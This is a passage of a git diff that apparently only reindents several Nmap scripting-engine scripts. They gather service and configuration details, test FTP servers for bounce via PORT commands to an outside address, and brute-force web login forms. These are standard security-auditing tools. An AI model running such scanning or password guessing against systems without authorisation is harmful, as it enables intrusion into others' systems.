| ([^][<]+) | %s*]+>([^][<]+)") do
- stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
- if nmap.verbosity() > 1 then
- result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
- else
- for i,v in ipairs(intresting_keys) do
- if name:match(("^%s"):format(v)) then
- result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
- end
- end
- end
- end
- end
- return result
+ local result = {}
+ local response = http.get( host, port, uri )
+ stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response" ))
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ for name,value in string.gmatch(body," | ([^][<]+) | %s*]+>([^][<]+)") do
+ stdnse.print_debug(1, ("%s: %s=%s "):format(SCRIPT_NAME,name,value:gsub("^%s*(.-)%s*$", "%1")))
+ if nmap.verbosity() > 1 then
+ result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
+ else
+ for i,v in ipairs(intresting_keys) do
+ if name:match(("^%s"):format(v)) then
+ result[#result+1] = ("%s: %s"):format(name,value:gsub("^%s*(.-)%s*$", "%1"))
+ end
+ end
+ end
+ end
+ end
+ return result
end
action = function( host, port )
- local result = {}
- local uri = "/flumemaster.jsp"
- local env_uri = "/masterenv.jsp"
- local config_uri = "/masterstaticconfig.jsp"
- local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
- local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
- local nodes = { }
- local zookeepers = { }
- local hbasemasters = { }
- stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
- local response = http.get( host, port, uri )
- stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
- if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
- local body = response['body']:gsub("%%","%%%%")
- local capacity = {}
- stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
- if body:match("Version:%s*([^][,]+)") then
- local version = body:match("Version:%s*([^][,]+)")
- stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
- result[#result+1] = ("Version: %s"):format(version)
- port.version.version = version
- end
- if body:match("Compiled:%s*([^][<]+)") then
- local compiled = body:match("Compiled:%s*([^][<]+)")
- stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
- result[#result+1] = ("Compiled: %s"):format(compiled)
- end
- if body:match("ServerID:%s*([^][<]+)") then
- local upgrades = body:match("ServerID:%s*([^][<]+)")
- stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
- result[#result] = ("ServerID: %s"):format(upgrades)
- end
- for logical,physical,hostname in string.gmatch(body," | ([%w%.-_:]+) | ([%w%.]+) | ([%w%.]+) | ") do
- stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
- if (table_count(nodes, hostname) == 0) then
- nodes[#nodes+1] = hostname
- add_target(hostname)
- end
- end
- if next(nodes) ~= nil then
- table.insert(result, "Flume nodes:")
- result[#result+1] = nodes
- end
- for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
- if (table_count(zookeepers, zookeeper) == 0) then
- zookeepers[#zookeepers+1] = zookeeper
- add_target(zookeeper)
- end
- end
- if next(zookeepers) ~= nil then
- result[#result+1] = "Zookeeper Master:"
- result[#result+1] = zookeepers
- end
- for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
- if (table_count(hbasemasters, hbasemaster) == 0) then
- hbasemasters[#hbasemasters+1] = hbasemaster
- add_target(hbasemaster)
- end
- end
- if next(hbasemasters) ~= nil then
- result[#result+1] = "Hbase Master Master:"
- result[#result+1] = hbasemasters
- end
- local vars = parse_page(host, port, env_uri, env_keys )
- if next(vars) ~= nil then
- result[#result+1] = "Enviroment: "
- result[#result+1] = vars
- end
- local vars = parse_page(host, port, config_uri, config_keys )
- if next(vars) ~= nil then
- result[#result+1] = "Config: "
- result[#result+1] = vars
- end
- if #result > 0 then
- port.version.name = "flume-master"
- port.version.product = "Apache Flume"
- nmap.set_port_version(host, port)
- end
- return stdnse.format_output(true, result)
- end
+ local result = {}
+ local uri = "/flumemaster.jsp"
+ local env_uri = "/masterenv.jsp"
+ local config_uri = "/masterstaticconfig.jsp"
+ local env_keys = {"java.runtime","java.version","java.vm.name","java.vm.vendor","java.vm.version","os","user.name","user.country","user.language,user.timezone"}
+ local config_keys = {"dfs.datanode.address","dfs.datanode.http.address","dfs.datanode.https.address","dfs.datanode.ipc.address","dfs.http.address","dfs.https.address","dfs.secondary.http.address","flume.collector.dfs.dir","flume.collector.event.host","flume.master.servers","fs.default.name","mapred.job.tracker","mapred.job.tracker.http.address","mapred.task.tracker.http.address","mapred.task.tracker.report.address"}
+ local nodes = { }
+ local zookeepers = { }
+ local hbasemasters = { }
+ stdnse.print_debug(1, ("%s:HTTP GET %s:%s%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number, uri))
+ local response = http.get( host, port, uri )
+ stdnse.print_debug(1, ("%s: Status %s"):format(SCRIPT_NAME,response['status-line'] or "No Response"))
+ if response['status-line'] and response['status-line']:match("200%s+OK") and response['body'] then
+ local body = response['body']:gsub("%%","%%%%")
+ local capacity = {}
+ stdnse.print_debug(2, ("%s: Body %s\n"):format(SCRIPT_NAME,body))
+ if body:match("Version:%s*([^][,]+)") then
+ local version = body:match("Version:%s*([^][,]+)")
+ stdnse.print_debug(1, ("%s: Version %s"):format(SCRIPT_NAME,version))
+ result[#result+1] = ("Version: %s"):format(version)
+ port.version.version = version
+ end
+ if body:match("Compiled:%s*([^][<]+)") then
+ local compiled = body:match("Compiled:%s*([^][<]+)")
+ stdnse.print_debug(1, ("%s: Compiled %s"):format(SCRIPT_NAME,compiled))
+ result[#result+1] = ("Compiled: %s"):format(compiled)
+ end
+ if body:match("ServerID:%s*([^][<]+)") then
+ local upgrades = body:match("ServerID:%s*([^][<]+)")
+ stdnse.print_debug(1, ("%s: ServerID %s"):format(SCRIPT_NAME,upgrades))
+ result[#result] = ("ServerID: %s"):format(upgrades)
+ end
+ for logical,physical,hostname in string.gmatch(body," | ([%w%.-_:]+) | ([%w%.]+) | ([%w%.]+) | ") do
+ stdnse.print_debug(2, ("%s: %s (%s) %s"):format(SCRIPT_NAME,physical,logical,hostname))
+ if (table_count(nodes, hostname) == 0) then
+ nodes[#nodes+1] = hostname
+ add_target(hostname)
+ end
+ end
+ if next(nodes) ~= nil then
+ table.insert(result, "Flume nodes:")
+ result[#result+1] = nodes
+ end
+ for zookeeper in string.gmatch(body,"Dhbase.zookeeper.quorum=([^][\"]+)") do
+ if (table_count(zookeepers, zookeeper) == 0) then
+ zookeepers[#zookeepers+1] = zookeeper
+ add_target(zookeeper)
+ end
+ end
+ if next(zookeepers) ~= nil then
+ result[#result+1] = "Zookeeper Master:"
+ result[#result+1] = zookeepers
+ end
+ for hbasemaster in string.gmatch(body,"Dhbase.rootdir=([^][\"]+)") do
+ if (table_count(hbasemasters, hbasemaster) == 0) then
+ hbasemasters[#hbasemasters+1] = hbasemaster
+ add_target(hbasemaster)
+ end
+ end
+ if next(hbasemasters) ~= nil then
+ result[#result+1] = "Hbase Master Master:"
+ result[#result+1] = hbasemasters
+ end
+ local vars = parse_page(host, port, env_uri, env_keys )
+ if next(vars) ~= nil then
+ result[#result+1] = "Enviroment: "
+ result[#result+1] = vars
+ end
+ local vars = parse_page(host, port, config_uri, config_keys )
+ if next(vars) ~= nil then
+ result[#result+1] = "Config: "
+ result[#result+1] = vars
+ end
+ if #result > 0 then
+ port.version.name = "flume-master"
+ port.version.product = "Apache Flume"
+ nmap.set_port_version(host, port)
+ end
+ return stdnse.format_output(true, result)
+ end
end
diff --git a/scripts/ftp-bounce.nse b/scripts/ftp-bounce.nse
index 4193200d0..c513c3b3b 100644
--- a/scripts/ftp-bounce.nse
+++ b/scripts/ftp-bounce.nse
@@ -34,191 +34,191 @@ categories = {"default", "safe"}
portrule = shortport.service("ftp")
line_iterate = function(s)
- local line
- for line in string.gmatch(s, "([^\n$]*)") do
- if #line > 0 then
- coroutine.yield(line)
- end
- end
+ local line
+ for line in string.gmatch(s, "([^\n$]*)") do
+ if #line > 0 then
+ coroutine.yield(line)
+ end
+ end
end
-- returns last ftp code read, or 000 on timeout
get_ftp_code = function(socket)
- local fcode = 000
- local code = 0
- local status
- local result
- local co
- local line
- local err
+ local fcode = 000
+ local code = 0
+ local status
+ local result
+ local co
+ local line
+ local err
- while true do
- status, result = socket:receive()
- if not status then
- break
- end
- -- read okay!
- co = coroutine.create(line_iterate)
- while coroutine.status(co) ~= 'dead' do
- err, line = coroutine.resume(co, result)
- if line then
- code = string.match(line, "^(%d%d%d) ")
- if not code then
- code = "-1"
- end
- -- io.write(">" .. code .. ":".. line .. "<\n")
- if tonumber(code) > 0 then
- fcode = tonumber(code)
- end
- end
- end
- -- not received good ftp code, try again
- if fcode ~= 0 then
- break
- end
- end
- -- io.write("## " .. fcode .. "\n");
- return fcode
+ while true do
+ status, result = socket:receive()
+ if not status then
+ break
+ end
+ -- read okay!
+ co = coroutine.create(line_iterate)
+ while coroutine.status(co) ~= 'dead' do
+ err, line = coroutine.resume(co, result)
+ if line then
+ code = string.match(line, "^(%d%d%d) ")
+ if not code then
+ code = "-1"
+ end
+ -- io.write(">" .. code .. ":".. line .. "<\n")
+ if tonumber(code) > 0 then
+ fcode = tonumber(code)
+ end
+ end
+ end
+ -- not received good ftp code, try again
+ if fcode ~= 0 then
+ break
+ end
+ end
+ -- io.write("## " .. fcode .. "\n");
+ return fcode
end
local get_login = function()
- local user, pass
- local k
+ local user, pass
+ local k
- for _, k in ipairs({"ftp-bounce.username", "username"}) do
- if nmap.registry.args[k] then
- user = nmap.registry.args[k]
- break
- end
- end
+ for _, k in ipairs({"ftp-bounce.username", "username"}) do
+ if nmap.registry.args[k] then
+ user = nmap.registry.args[k]
+ break
+ end
+ end
- for _, k in ipairs({"ftp-bounce.password", "password"}) do
- if nmap.registry.args[k] then
- pass = nmap.registry.args[k]
- break
- end
- end
+ for _, k in ipairs({"ftp-bounce.password", "password"}) do
+ if nmap.registry.args[k] then
+ pass = nmap.registry.args[k]
+ break
+ end
+ end
- return user or "anonymous", pass or "IEUser@"
+ return user or "anonymous", pass or "IEUser@"
end
action = function(host, port)
- local socket = nmap.new_socket()
- local result;
- local status = true
- local isAnon = false
- local isOk = false
- local sendPass = true
- local user, pass = get_login()
- local fc
+ local socket = nmap.new_socket()
+ local result;
+ local status = true
+ local isAnon = false
+ local isOk = false
+ local sendPass = true
+ local user, pass = get_login()
+ local fc
- socket:set_timeout(10000)
- socket:connect(host, port)
+ socket:set_timeout(10000)
+ socket:connect(host, port)
- -- BANNER
- fc = get_ftp_code(socket)
- if fc == 0 then
- socket:close()
- -- no banner
- return "no banner"
- end
- if fc == 421 or (fc >= 500 and fc <= 599) then
- socket:close()
- -- return "server says you are not allowed to create connection"
- return
- end
- if fc < 200 or fc > 299 then
- socket:close()
- -- bad code
- -- return "bad banner (code " .. fc .. ")"
- return
- end
+ -- BANNER
+ fc = get_ftp_code(socket)
+ if fc == 0 then
+ socket:close()
+ -- no banner
+ return "no banner"
+ end
+ if fc == 421 or (fc >= 500 and fc <= 599) then
+ socket:close()
+ -- return "server says you are not allowed to create connection"
+ return
+ end
+ if fc < 200 or fc > 299 then
+ socket:close()
+ -- bad code
+ -- return "bad banner (code " .. fc .. ")"
+ return
+ end
- socket:set_timeout(5000)
- -- USER
- socket:send("USER " .. user .. "\r\n")
- fc = get_ftp_code(socket)
- if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
- socket:close()
- -- bad code
- --return "anonymous user not allowed"
- return
- end
- if fc == 0 then
- socket:close()
- -- return "anonymous user timeouted"
- return
- end
- if fc ~= 230 and fc ~= 331 then
- socket:close()
- -- bad code
- -- return "bad response for anonymous user (code " .. fc .. ")"
- return
- end
- if fc == 230 then
- sendPass = false
- end
+ socket:set_timeout(5000)
+ -- USER
+ socket:send("USER " .. user .. "\r\n")
+ fc = get_ftp_code(socket)
+ if (fc >= 400 and fc <= 499) or (fc >= 500 and fc <= 599) then
+ socket:close()
+ -- bad code
+ --return "anonymous user not allowed"
+ return
+ end
+ if fc == 0 then
+ socket:close()
+ -- return "anonymous user timeouted"
+ return
+ end
+ if fc ~= 230 and fc ~= 331 then
+ socket:close()
+ -- bad code
+ -- return "bad response for anonymous user (code " .. fc .. ")"
+ return
+ end
+ if fc == 230 then
+ sendPass = false
+ end
- -- PASS
- if sendPass then
- socket:send("PASS " .. pass .. "\r\n")
- fc = get_ftp_code(socket)
- if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
- socket:close()
- -- bad code
- -- return "anonymous user/pass rejected"
- return
- end
- if fc == 0 then
- socket:close()
- -- return "anonymous pass timeouted"
- return
- end
- if fc ~= 230 and fc ~= 200 then
- socket:close()
- -- return "answer to PASS not understood (code " .. fc .. ")"
- return
- end
- end
+ -- PASS
+ if sendPass then
+ socket:send("PASS " .. pass .. "\r\n")
+ fc = get_ftp_code(socket)
+ if (fc >= 500 and fc <= 599) or (fc >= 400 and fc <= 499) then
+ socket:close()
+ -- bad code
+ -- return "anonymous user/pass rejected"
+ return
+ end
+ if fc == 0 then
+ socket:close()
+ -- return "anonymous pass timeouted"
+ return
+ end
+ if fc ~= 230 and fc ~= 200 then
+ socket:close()
+ -- return "answer to PASS not understood (code " .. fc .. ")"
+ return
+ end
+ end
- -- PORT scanme.nmap.com:highport
- socket:send("PORT 205,217,153,62,80,80\r\n")
- fc = get_ftp_code(socket)
- if (fc >= 500 and fc <= 599) then
- socket:close()
- -- return "server forbids bouncing"
- return
- end
- if fc == 0 then
- socket:close()
- -- return "PORT command timeouted"
- return
- end
- if not (fc >= 200 and fc<=299) then
- socket:close()
- -- return "PORT response not understood (code " .. fc .. ")"
- return
- end
+ -- PORT scanme.nmap.com:highport
+ socket:send("PORT 205,217,153,62,80,80\r\n")
+ fc = get_ftp_code(socket)
+ if (fc >= 500 and fc <= 599) then
+ socket:close()
+ -- return "server forbids bouncing"
+ return
+ end
+ if fc == 0 then
+ socket:close()
+ -- return "PORT command timeouted"
+ return
+ end
+ if not (fc >= 200 and fc<=299) then
+ socket:close()
+ -- return "PORT response not understood (code " .. fc .. ")"
+ return
+ end
- -- PORT scanme.nmap.com:lowport
- socket:send("PORT 205,217,153,62,0,80\r\n")
- fc = get_ftp_code(socket)
- if (fc >= 500 and fc <= 599) then
- socket:close()
- return "server forbids bouncing to low ports <1025"
- end
- if fc == 0 then
- socket:close()
- -- return "PORT command timeouted for low port"
- return
- end
- if not (fc >= 200 and fc<=299) then
- socket:close()
- -- return "PORT response not understood for low port (code " .. fc .. ")"
- return
- end
+ -- PORT scanme.nmap.com:lowport
+ socket:send("PORT 205,217,153,62,0,80\r\n")
+ fc = get_ftp_code(socket)
+ if (fc >= 500 and fc <= 599) then
+ socket:close()
+ return "server forbids bouncing to low ports <1025"
+ end
+ if fc == 0 then
+ socket:close()
+ -- return "PORT command timeouted for low port"
+ return
+ end
+ if not (fc >= 200 and fc<=299) then
+ socket:close()
+ -- return "PORT response not understood for low port (code " .. fc .. ")"
+ return
+ end
- socket:close()
- return "bounce working!"
+ socket:close()
+ return "bounce working!"
end
diff --git a/scripts/gkrellm-info.nse b/scripts/gkrellm-info.nse
index 45fbd0a33..f9c4773b2 100644
--- a/scripts/gkrellm-info.nse
+++ b/scripts/gkrellm-info.nse
@@ -55,167 +55,167 @@ portrule = shortport.port_or_service(19150, "gkrellm", "tcp")
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
local long_names = {
- ["fs_mounts"] = "Mounts",
- ["net"] = "Network",
- ["hostname"] = "Hostname",
- ["sysname"] = "System",
- ["version"] = "Version",
- ["uptime"] = "Uptime",
- ["mem"] = "Memory",
- ["proc"] = "Processes",
+ ["fs_mounts"] = "Mounts",
+ ["net"] = "Network",
+ ["hostname"] = "Hostname",
+ ["sysname"] = "System",
+ ["version"] = "Version",
+ ["uptime"] = "Uptime",
+ ["mem"] = "Memory",
+ ["proc"] = "Processes",
}
local order = {
- "Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
+ "Hostname", "System", "Version", "Uptime", "Processes", "Memory", "Network", "Mounts"
}
local function getOrderPos(tag)
- for i=1, #order do
- if ( tag.name == order[i] ) then
- return i
- elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
- return i
- end
- end
- return 1
+ for i=1, #order do
+ if ( tag.name == order[i] ) then
+ return i
+ elseif ( "string" == type(tag) and tag:match("^([^:]*)") == order[i] ) then
+ return i
+ end
+ end
+ return 1
end
local function minutesToUptime(value)
- local days = math.floor(value / (60 * 24))
- local htime = math.fmod(value, (60 * 24))
- local hours = math.floor(htime / 60)
- local mtime = math.fmod(htime, 60)
- local minutes = math.floor(mtime)
- local output = ""
- if ( days > 0 ) then
- output = output .. ("%d days, "):format(days)
- end
- if ( hours > 0 ) then
- output = output .. ("%d hours, "):format(hours)
- end
- if ( minutes > 0 ) then
- output = output .. ("%d minutes"):format(minutes)
- end
- return output
+ local days = math.floor(value / (60 * 24))
+ local htime = math.fmod(value, (60 * 24))
+ local hours = math.floor(htime / 60)
+ local mtime = math.fmod(htime, 60)
+ local minutes = math.floor(mtime)
+ local output = ""
+ if ( days > 0 ) then
+ output = output .. ("%d days, "):format(days)
+ end
+ if ( hours > 0 ) then
+ output = output .. ("%d hours, "):format(hours)
+ end
+ if ( minutes > 0 ) then
+ output = output .. ("%d minutes"):format(minutes)
+ end
+ return output
end
local function decodeTag(tag, lines)
- local result = { name = long_names[tag] }
- local order
+ local result = { name = long_names[tag] }
+ local order
- if ( "fs_mounts" == tag ) then
- local fs_tab = tab.new(4)
- tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
- for _, line in ipairs(lines) do
- if ( ".clear" ~= line ) then
- local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
- if ( size and free and mount and fstype ) then
- size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
- free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
- tab.addrow(fs_tab, mount, fstype, size, free)
- end
- end
- end
- table.insert(result, tab.dump(fs_tab))
- elseif ( "net" == tag ) then
- local net_tab = tab.new(3)
- tab.addrow(net_tab, "Interface", "Received", "Transmitted")
- for _, line in ipairs(lines) do
- local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
- rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
- tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
- tab.addrow(net_tab, name, rx, tx)
- end
- table.insert(result, tab.dump(net_tab))
- elseif ( "hostname" == tag or "sysname" == tag or
- "version" == tag ) then
- return ("%s: %s"):format(long_names[tag], lines[1])
- elseif ( "uptime" == tag ) then
- return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
- elseif ( "mem" == tag ) then
- local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
- if ( not(total) or not(used) ) then
- return
- end
- local free = math.ceil((total - used)/1048576)
- total = math.ceil(tonumber(total)/1048576)
- return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
- elseif ( "proc" == tag ) then
- local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
- if ( not(procs) or not(forks) or not(load) or not(users) ) then
- return
- end
- return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
- end
- return ( #result > 0 and result or nil )
+ if ( "fs_mounts" == tag ) then
+ local fs_tab = tab.new(4)
+ tab.addrow(fs_tab, "Mount point", "Fs type", "Size", "Available")
+ for _, line in ipairs(lines) do
+ if ( ".clear" ~= line ) then
+ local mount, prefix, fstype, size, free, used, bs = table.unpack(stdnse.strsplit("%s", line))
+ if ( size and free and mount and fstype ) then
+ size = ("%dM"):format(math.ceil(tonumber(size) * tonumber(bs) / 1048576))
+ free = ("%dM"):format(math.ceil(tonumber(free) * tonumber(bs) / 1048576))
+ tab.addrow(fs_tab, mount, fstype, size, free)
+ end
+ end
+ end
+ table.insert(result, tab.dump(fs_tab))
+ elseif ( "net" == tag ) then
+ local net_tab = tab.new(3)
+ tab.addrow(net_tab, "Interface", "Received", "Transmitted")
+ for _, line in ipairs(lines) do
+ local name, rx, tx = line:match("^([^%s]*)%s([^%s]*)%s([^%s]*)$")
+ rx = ("%dM"):format(math.ceil(tonumber(rx) / 1048576))
+ tx = ("%dM"):format(math.ceil(tonumber(tx) / 1048576))
+ tab.addrow(net_tab, name, rx, tx)
+ end
+ table.insert(result, tab.dump(net_tab))
+ elseif ( "hostname" == tag or "sysname" == tag or
+ "version" == tag ) then
+ return ("%s: %s"):format(long_names[tag], lines[1])
+ elseif ( "uptime" == tag ) then
+ return ("%s: %s"):format(long_names[tag], minutesToUptime(lines[1]))
+ elseif ( "mem" == tag ) then
+ local total, used = table.unpack(stdnse.strsplit("%s", lines[1]))
+ if ( not(total) or not(used) ) then
+ return
+ end
+ local free = math.ceil((total - used)/1048576)
+ total = math.ceil(tonumber(total)/1048576)
+ return ("%s: Total %dM, Free %dM"):format(long_names[tag], total, free)
+ elseif ( "proc" == tag ) then
+ local procs, _, forks, load, users = table.unpack(stdnse.strsplit("%s", lines[1]))
+ if ( not(procs) or not(forks) or not(load) or not(users) ) then
+ return
+ end
+ return ("%s: Processes %d, Load %.2f, Users %d"):format(long_names[tag], procs, load, users)
+ end
+ return ( #result > 0 and result or nil )
end
action = function(host, port)
- local socket = nmap.new_socket()
- socket:set_timeout(5000)
+ local socket = nmap.new_socket()
+ socket:set_timeout(5000)
- if ( not(socket:connect(host, port)) ) then
- return fail("Failed to connect to the server")
- end
+ if ( not(socket:connect(host, port)) ) then
+ return fail("Failed to connect to the server")
+ end
- -- If there's an error we get a response back, and only then
- local status, data = socket:receive_buf("\n", false)
- if( status and data ~= "" ) then
- return fail("An unknown error occured, aborting ...")
- elseif ( status ) then
- status, data = socket:receive_buf("\n", false)
- if ( status ) then
- return fail(data)
- else
- return fail("Failed to receive error message from server")
- end
- end
+ -- If there's an error we get a response back, and only then
+ local status, data = socket:receive_buf("\n", false)
+ if( status and data ~= "" ) then
+ return fail("An unknown error occured, aborting ...")
+ elseif ( status ) then
+ status, data = socket:receive_buf("\n", false)
+ if ( status ) then
+ return fail(data)
+ else
+ return fail("Failed to receive error message from server")
+ end
+ end
- if ( not(socket:send("gkrellm 2.3.4\n")) ) then
- return fail("Failed to send data to the server")
- end
+ if ( not(socket:send("gkrellm 2.3.4\n")) ) then
+ return fail("Failed to send data to the server")
+ end
- local tags = {}
- local status, tag = socket:receive_buf("\n", false)
- while(true) do
- if ( not(status) ) then
- break
- end
- if ( not(tag:match("^<.*>$")) ) then
- stdnse.print_debug(2, "Expected tag, got: %s", tag)
- break
- else
- tag = tag:match("^<(.*)>$")
- end
+ local tags = {}
+ local status, tag = socket:receive_buf("\n", false)
+ while(true) do
+ if ( not(status) ) then
+ break
+ end
+ if ( not(tag:match("^<.*>$")) ) then
+ stdnse.print_debug(2, "Expected tag, got: %s", tag)
+ break
+ else
+ tag = tag:match("^<(.*)>$")
+ end
- if ( tags[tag] ) then
- break
- end
+ if ( tags[tag] ) then
+ break
+ end
- while(true) do
- local data
- status, data = socket:receive_buf("\n", false)
- if ( not(status) ) then
- break
- end
- if ( status and data:match("^<.*>$") ) then
- tag = data
- break
- end
- tags[tag] = tags[tag] or {}
- table.insert(tags[tag], data)
- end
- end
- socket:close()
+ while(true) do
+ local data
+ status, data = socket:receive_buf("\n", false)
+ if ( not(status) ) then
+ break
+ end
+ if ( status and data:match("^<.*>$") ) then
+ tag = data
+ break
+ end
+ tags[tag] = tags[tag] or {}
+ table.insert(tags[tag], data)
+ end
+ end
+ socket:close()
- local output = {}
- for tag in pairs(tags) do
- local result, order = decodeTag(tag, tags[tag])
- if ( result ) then
- table.insert(output, result)
- end
- end
+ local output = {}
+ for tag in pairs(tags) do
+ local result, order = decodeTag(tag, tags[tag])
+ if ( result ) then
+ table.insert(output, result)
+ end
+ end
- table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
- return stdnse.format_output(true, output)
+ table.sort(output, function(a,b) return getOrderPos(a) < getOrderPos(b) end)
+ return stdnse.format_output(true, output)
end
diff --git a/scripts/http-form-brute.nse b/scripts/http-form-brute.nse
index af8f855dc..fd0e245e7 100644
--- a/scripts/http-form-brute.nse
+++ b/scripts/http-form-brute.nse
@@ -27,16 +27,16 @@ Performs brute force password auditing against http form-based authentication.
-- analyzes the response and attempt to determine whether authentication was
-- successful or not. The script analyzes this by checking the response using
-- the following rules:
--- 1. If the response was empty the authentication was successful
--- 2. If the response contains the message passed in the onsuccess
--- argument the authentication was successful
--- 3. If no onsuccess argument was passed, and if the response
--- does not contain the message passed in the onfailure argument the
--- authentication was successful
--- 4. If neither the onsuccess or onfailure argument was passed and the
--- response does not contain a password form field authentication
--- was successful
--- 5. Authentication failed
+-- 1. If the response was empty the authentication was successful
+-- 2. If the response contains the message passed in the onsuccess
+-- argument the authentication was successful
+-- 3. If no onsuccess argument was passed, and if the response
+-- does not contain the message passed in the onfailure argument the
+-- authentication was successful
+-- 4. If neither the onsuccess or onfailure argument was passed and the
+-- response does not contain a password form field authentication
+-- was successful
+-- 5. Authentication failed
--
-- @output
-- PORT STATE SERVICE REASON
@@ -59,19 +59,19 @@ Performs brute force password auditing against http form-based authentication.
-- holds the username used to authenticate. A simple autodetection of
-- this variable is attempted.
-- @args http-form-brute.passvar sets the http-variable name that holds the
--- password used to authenticate. A simple autodetection of this variable
+-- password used to authenticate. A simple autodetection of this variable
-- is attempted.
-- @args http-form-brute.onsuccess (optional) sets the message to expect on
--- successful authentication
+-- successful authentication
-- @args http-form-brute.onfailure (optional) sets the message to expect on
--- unsuccessful authentication
+-- unsuccessful authentication
--
-- Version 0.3
-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson
-- Revised 05/23/2011 - v0.2 - changed so that uservar is optional
-- Revised 06/05/2011 - v0.3 - major re-write, added onsucces, onfailure and
--- support for redirects
+-- support for redirects
--
author = "Patrik Karlsson"
@@ -85,166 +85,166 @@ local form_params = {}
Driver = {
- new = function(self, host, port, options)
- local o = {}
- setmetatable(o, self)
- self.__index = self
- o.host = nmap.registry.args['http-form-brute.hostname'] or host
- o.port = port
- o.options = options
- return o
- end,
+ new = function(self, host, port, options)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ o.host = nmap.registry.args['http-form-brute.hostname'] or host
+ o.port = port
+ o.options = options
+ return o
+ end,
- connect = function( self )
- -- This will cause problems, as ther is no way for us to "reserve"
- -- a socket. We may end up here early with a set of credentials
- -- which won't be guessed until the end, due to socket exhaustion.
- return true
- end,
+ connect = function( self )
+ -- This will cause problems, as ther is no way for us to "reserve"
+ -- a socket. We may end up here early with a set of credentials
+ -- which won't be guessed until the end, due to socket exhaustion.
+ return true
+ end,
- login = function( self, username, password )
- -- we need to supply the no_cache directive, or else the http library
- -- incorrectly tells us that the authentication was successfull
- local postparams = { [self.options.passvar] = password }
- if ( self.options.uservar ) then postparams[self.options.uservar] = username end
+ login = function( self, username, password )
+ -- we need to supply the no_cache directive, or else the http library
+ -- incorrectly tells us that the authentication was successfull
+ local postparams = { [self.options.passvar] = password }
+ if ( self.options.uservar ) then postparams[self.options.uservar] = username end
- local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
- local success = false
+ local response = Driver.postRequest(self.host, self.port, self.options.path, postparams)
+ local success = false
- -- if we have no response, we were successful
- if ( not(response.body) ) then
- success = true
- -- if we have a response and it matches our onsuccess match, login was successful
- elseif ( response.body and
- self.options.onsuccess and
- response.body:match(self.options.onsuccess) ) then
- success = true
- -- if we have a response and it does not match our onfailure, login was successful
- elseif ( response.body and
- not(self.options.onsuccess) and
- self.options.onfailure and
- not(response.body:match(self.options.onfailure))) then
- success = true
- -- if we have a response and no onfailure or onsuccess match defined
- -- and can't find a password field, login was successful
- elseif ( response.body and
- not(self.options.onfailure) and
- not(self.options.onsuccess) and
- not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
- ) then
- success = true
- end
+ -- if we have no response, we were successful
+ if ( not(response.body) ) then
+ success = true
+ -- if we have a response and it matches our onsuccess match, login was successful
+ elseif ( response.body and
+ self.options.onsuccess and
+ response.body:match(self.options.onsuccess) ) then
+ success = true
+ -- if we have a response and it does not match our onfailure, login was successful
+ elseif ( response.body and
+ not(self.options.onsuccess) and
+ self.options.onfailure and
+ not(response.body:match(self.options.onfailure))) then
+ success = true
+ -- if we have a response and no onfailure or onsuccess match defined
+ -- and can't find a password field, login was successful
+ elseif ( response.body and
+ not(self.options.onfailure) and
+ not(self.options.onsuccess) and
+ not(response.body:match("input.-type=[\"]*[Pp][Aa][Ss][Ss][Ww][Oo][Rr][Dd][\"]*"))
+ ) then
+ success = true
+ end
